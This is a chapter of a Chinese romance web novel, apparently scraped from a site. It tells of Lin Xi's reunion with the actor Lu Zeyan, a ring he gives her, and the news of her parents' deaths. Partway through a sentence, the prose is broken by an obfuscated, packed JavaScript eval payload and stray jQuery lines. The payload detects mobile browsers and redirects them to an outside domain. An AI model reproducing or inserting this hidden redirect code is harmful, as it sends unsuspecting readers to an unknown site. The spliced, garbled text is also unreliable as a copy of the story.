林溪的勺子在碗里搅着，声音轻得像叹息，“我总梦见青溪镇的老槐树，你靠在树下等我，穿着白衬衫，手里拿着本《演员的自我修养》。”


    “我也总梦见你。”陆泽言看着她，眼神认真得像在说台词，却比任何台词都真挚，“梦见你在音乐教室弹钢琴，阳光洒在琴键上，你回头冲我笑。”


    他顿了顿，声音低了些，带着点没说出口的委屈：“我以为你不会回来了。”


    “对不起。”林溪的眼泪掉在馄饨汤里，溅起小小的涟漪，“我怕……怕你早就忘了我，怕你身边有了别人，怕这枚戒指在你眼里早就成了废品。”


    “怎么会。”陆泽言握住她的手，掌心的温度烫得她心尖发颤，“每年春天回青溪镇，我都去老槐树下站站，去音乐教室弹弹那架白色钢琴。李婷说我魔怔了，可我总觉得，你能听到。”


    夜市的人渐渐少了，风吹得灯泡晃得更厉害了。馄饨摊的灯还亮着，把两人的影子拉得很长，交叠在油腻的水泥地上，像幅被烟火气熏染的画。


    卖馄饨的老板收拾着摊位，风穿过夜市的小巷，带来远处烤红薯的甜香，像在为这迟到二十年的拥抱，哼起首温柔的歌。


    京城电影学院的银杏叶黄透的那天，空气里浮动着焦糖玛奇朵的甜香。林溪抱着《世界电影史》爬上图书馆三楼时，皮鞋跟敲击大理石地面的声响，惊飞了窗台上啄食面包屑的麻雀。艺术理论区的橡木书架间，陆泽言趴在摊开的《电影符号学》上打盹，阳光透过彩绘玻璃在他侧脸织出虹色光斑，睫毛在高挺的鼻梁投下浅浅的阴影，像幅被时光吻过的中世纪油画。唯有嘴角那点咖啡渍破坏了美感。


    “陆老师，再睡下去，管理员阿姨就要把你赶出去了。”林溪伸出食指，轻轻戳了戳他露在西装袖口外的胳膊。


    陆泽言倏地睁开眼，虹膜上还蒙着层刚睡醒的水汽。他下意识攥住她的手腕，掌心的温度烫得她指尖发颤：“溪溪？你没走？”


    “我哪敢走。”林溪笑着抽回手，从帆布包里摸出包纯棉纸巾递过去，“小陈刚在楼下碰到我，说你昨晚拍夜戏到凌晨四点，怎么不在家补觉？”


    他接过纸巾胡乱往脸上蹭，咖啡渍反倒晕染得更大片，活像只偷喝了牛奶的小花猫。“想陪你。”三个字说得理直气壮，尾音微微上扬，带着点没睡醒的软糯。


    周围翻书的沙沙声突然卡壳。斜对面穿米色风衣的女生手一抖，《拉片笔记》“啪”地砸在地上；靠窗位置的两个学妹慌忙低下头，却没忍住用余光偷瞄，耳尖红得像熟透的樱桃。


    相认后的日子像浸在蜜里，甜得恰到好处，却不腻人。陆泽言把工作室的年度计划表改掉了一半，现在在拍早就签约的文艺片《长亭雪》，其余时间几乎长在了电影学院。他会戴着黑色鸭舌帽和医用口罩，混在学生堆里排队买食堂三楼的糖醋里脊，看着林溪吃得嘴角沾着酱汁时，从口袋里掏出折叠整齐的湿巾，动作自然得像做过千百遍；会在她上艺术概论课时，缩在最后一排靠窗的角落，摊开的笔记本上画满她的侧脸小像，被教授点名提问，竟能对答如流，把戈达尔的长镜头理论讲得比教科书还透彻，惊得系主任在教师群里连发三个惊叹号：“林溪的男朋友是哪个系的隐藏学霸？”


    “你这样会不会太招摇？”周五傍晚，林溪咬着他从胡同口买来的烤红薯，蒸腾的热气糊了眼镜片，把远处的银杏道变成一片晃动的金雾。“昨天王教授还拉着我问，‘你那位是不是陆泽言？我是他影迷’。”


    陆泽言伸手摘掉她糊着水汽的眼镜，屈起指节刮了下她的鼻尖。“招摇怎么了？”他剥开烤红薯焦脆的外皮，把流心的蜜瓤凑到她嘴边，“你是我陆泽言的女朋友，光明正大的。”他晃了晃手腕，银手链上的小铃铛叮当作响，与她颈间钢琴项链的吊坠碰撞出清脆的和声，“我们有证的。”


    林溪的脸颊“腾”地烧起来，像被烤红薯的热气烫到。她想起上周在文创园，他当着三十多个工作人员的面，自然地牵起她的手介绍：“给大家认识下，我爱人，林溪。”当时小陈手里的保温杯“哐当”砸在地上，褐色的枸杞水溅湿了地毯。


    周三下午的艺术概论课，林溪刚把帆布包塞进桌肚，就触到个温热的圆柱体。摸出来一看，是只紫砂保温桶，开盖的瞬间，排骨藕汤的醇厚香气漫溢开来，混着桂花香钻进鼻腔。桶底压着张米白色便签，是陆泽言遒劲的字迹：“加了红枣，趁热喝，不许剩。”


    “啧啧啧，”后座的陈佳佳探过脑袋，长睫毛像小扇子般忽闪，“你男朋友这是把你当金丝雀养啊。”她用下巴点了点窗外，“你看楼下那辆黑武士，他还没走呢，估计在等你喝完汤。”


    林溪趴在窗台上往下望，黑色SUV安静地泊在银杏树下，陆泽言正斜倚着车门打电话。阳光穿过层叠的金叶落在他肩头，把深灰色风衣染成蜜糖色，手腕上的银手链随着手势轻晃，折射出细碎的光。


    恍惚间，时光好像打了个旋。1997年的冬天也是这样，他穿着军绿色大衣，在音乐学院门口等她。


    二十年光阴像熬汤的砂锅，慢火细炖出的浓稠，比当年更多了层化不开的珍惜。


    晚上陆泽言来接她回宿舍，路过操场时，露天电影幕布上正放着《边关月》的经典片段。穿卡其色军装的他跪在墓碑前，雨水混着泪水砸在军靴上，台词哽咽在喉咙口：“等明年槐花开了，我就来陪你……”


    “这演技，太刻意了。”林溪故意挑眉，却被他伸手捏住脸颊，指腹摩挲着她嘴角的梨涡，“当时NG了多少条？眼睛是不是肿成核桃了？”


    “还不是某个人不在身边。”陆泽言低头在她发顶印下轻吻，声音里带着点不易察觉的委屈，“拍这场戏的时候，总想起青溪镇那棵老槐树，想起你埋石头戒指时说‘等它发芽就回来’，摄像机一开机，眼泪就控制不住。”


    电影散场的人群涌过，穿杏色卫衣的女生突然捂住嘴低呼：“是陆泽言！”紧接着，此起彼伏的抽气声在夜色里炸开。有人摸出手机想拍照，被他冷冽的眼神制止了。


    他牵着林溪往宿舍楼后的阴影里走，掌心干燥温暖，指节用力到泛白，像怕被谁抢走稀世珍宝。走到爬满爬山虎的拐角，他突然停住脚步，从西装内袋里摸出个丝绒盒子，月光透过叶隙落在他睫毛上，投下浅浅的阴影。


    “给你的。”


    打开盒子的瞬间，细碎的蓝光在黑暗中亮起。铂金戒指的戒托上，镶嵌着颗鸽子蛋大小的蓝宝石，切割面折射出的光晕，像青溪镇夜空最亮的那颗星。“补你的。”他执起她的左手，将戒指轻轻套在无名指上，与那枚石头戒指叠在一起，冷暖相触，“当年在青溪镇只能给你刻石头的，现在……”


    “我不要这个。”林溪突然抽回手，眼泪毫无预兆地砸在戒指上，溅起细小的水花，“我就喜欢那个石头的，有你刻的‘溪’字。”


    陆泽言的动作顿住了。他看着她泛红的眼眶，突然低笑出声，把人紧紧拥进怀里。“傻丫头，”他的下巴抵着她发顶，胡茬蹭得她额角发痒，“都给你，石头的要戴，这个也要戴。”他吻掉她脸颊的泪，咸味里混着淡淡的焦糖香，“以后你的所有，都由我来给。二十年前欠的，现在用一辈子来还，加倍还。”


    宿舍楼的灯光在身后亮起，把两人的影子拉得老长，像两条缠绕生长的常春藤，在铺满银杏叶的小径上，投下永不分离的剪影。


    林溪第一次在陆泽言的公寓看到沈曼青的照片，是个飘雪的周


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376741|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    末。相册放在书架最上层，红色封皮已经褪色，翻开第一页，穿碎花裙的沈曼青抱着扎羊角辫的林溪，站在青溪镇的老槐树下，笑得一脸灿烂。


    “这是你十岁生日拍的。”陆泽言从身后抱住她，下巴搁在她发顶。


    林溪的手指抚过照片里母亲年轻的脸，眼眶突然就湿了。穿越回来的这些日子，她总在夜里梦见沈曼青喊她吃饭，梦见她站在灶台前烙葱油饼，油烟熏得她眯起眼睛，却笑得一脸满足。可每次想问陆泽言，话到嘴边又咽了回去，像怕惊扰了什么。


    “他们……”她终于还是问出口，声音轻得像雪落，“后来过得好吗？”


    陆泽言沉默了很久，久到林溪以为他不会回答，才听到他声音里的哽咽：“你走后的第五年，沈阿姨就查出了癌症，身体一天不如一天。林叔叔为了照顾她，把公司店给了林浩，天天陪她。”


    他翻到相册最后一页，是张四人合照。沈曼青坐在轮椅上，头发全白了，却笑得很安详；林正国站在她身后，背驼得厉害，手里却紧紧攥着她的手；中间的陆泽言穿着西装，刚拿到最佳新人奖，眉眼间还有青涩，却努力笑得像个大人。林浩搂着沈曼青一脸疲惫。


    “这是他们最后一张合照，”陆泽言的指尖划过照片边缘，“拍了没半年，沈阿姨就走了，走的时候很安详，说‘终于能去陪溪溪了’。林叔叔……没过一年也跟着去了，临终前拉着我的手说，让我好好活着，替你们俩看看这个世界。”


    林溪的眼泪像断了线的珠子，砸在照片上，晕开小小的水渍。她想起春节，沈曼青给她塞红包，说“溪溪要考去京城，给妈争口气”；想起那年她生病，沈曼青连夜坐绿皮火车赶来，眼睛红得像兔子，却笑着说“妈给你带了野蜂蜜”。那些被她当作理所当然的疼爱，原来早已刻进了生命里，成了永远的缺口。


    “对不起。”陆泽言吻掉她的眼泪，声音里满是心疼，“一直没告诉你，是怕你难过。”


    “不怪你。”林溪摇摇头，把脸埋进他胸口，“至少他们是在一起的，不像我……”


    “你还有我。”他紧紧抱着她，像要把她揉进骨血里，“以后我就是你的家人，是你的沈阿姨，你的林叔叔，你的……全世界。”


    去见林浩的那天，林溪有点不安。“别紧张。”陆泽言握住她的手，掌心温热，“他现在……挺好的。你走之后他一蹶不振，为了能让他振作起来，我把你的事告诉了他。”


    林溪点点头，手心却还是冒冷汗。满脑子里都是林浩在医院走廊红着眼圈说“我对不起溪溪”。这个曾经让她又爱又怕的哥哥，像块硌在记忆里的石头，带着点疼，却也带着点说不清的牵挂。


    “还有张妈呢？”那个从小时候就在林溪家当保姆的老人现在还好吗？


    陆泽言的眼神黯淡了一下，声音也低沉了几分。“张妈在你爸妈走后就回老家了，说是受不了京城的冬天，太冷。”他顿了顿，像是在斟酌措辞，“其实我知道，她是舍不得。每次经过青溪镇的老宅，她都会进去看看，把院子打扫得干干净净，连你小时候种的那棵栀子花树都修剪得整整齐齐。”


    林溪的喉咙像被什么堵住了一样，发不出声音。她想起那个总是系着围裙的老人，总是在清晨端来一碗热气腾腾的红糖水，笑着说“溪溪要多喝点，补气血”。那些琐碎的日常，如今想来却成了最珍贵的记忆。


    “我陪她去过几次。”陆泽言的声音轻了下来，“她说，院子里的栀子花开得特别好，每年六月的时候，满园都是香味。”


    风吹过窗外，带来一丝凉意。林溪低头看着自己的手，指节微微发白。她突然意识到，那些她以为已经遗忘的人和事，其实一直有人替她记着，替她守护着。